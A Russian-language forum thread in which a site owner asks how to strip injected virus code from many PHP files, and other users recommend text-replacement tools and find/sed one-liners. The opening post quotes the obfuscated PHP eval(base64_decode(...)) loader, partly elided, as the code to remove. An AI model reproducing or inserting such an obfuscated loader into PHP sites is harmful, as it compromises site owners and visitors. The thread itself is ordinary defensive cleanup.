Автоматический поиск и замена в файлах

Roman777

Постоялец
Регистрация
29 Мар 2007
Сообщения
137
Реакции
19
Господа. Подскажите, как победить вирус. Нужно удалить из множества .php файлов в различных директориях вот этот такой код, вместе с тегами <?php и ?>

Код:
<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc
******
uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l(hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o(\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9))); ");}?>
 
Можно попробовать программы для замены текста типа EasyReplaceText найти все файлы с этим текстом можно обычным Total Commander в нем есть поиск файлов по тексту в них.
 
Text Replacer еще интересный вариант но он в роде платный, может искать в папках и подпапках
 
Notepad++ (а также sublime, dreamweaver и куча других редакторов) поддерживают замену в каталоге
find + sed (или perl -i) из шелла.
 
есть ли у кого пример как это сделать из шела?
 
Код:
 find . -name «*.php» -exec sed -i '/<\?php\ /\*ve[\w\W]*?\);}\?>/d' '{}' \;
примерно так. если с экранами не напутал
 
Качай весь сайт к себе на винт, скачиваешь программу Text Replacer и выбираешь папку с файлами. В поле вставляешь заменяемый текст и все.
 
Код:
 find . -name «*.php» -exec sed -i '/<\?php\ /\*ve[\w\W]*?\);}\?>/d' '{}' \;
примерно так. если с экранами не напутал
скобки заменил на двойные, но всеравно выдает ошибку :

sed: 1: "./file.php": invalid command code .

Хорошо отрабатывает такой вариант:
find . -name \*.php -exec sed -i -r '/determinator/d' {} \;
, но он удаляет сразу всю строку, а мне нужно оставить <?php
 
Последнее редактирование:
Назад
Сверху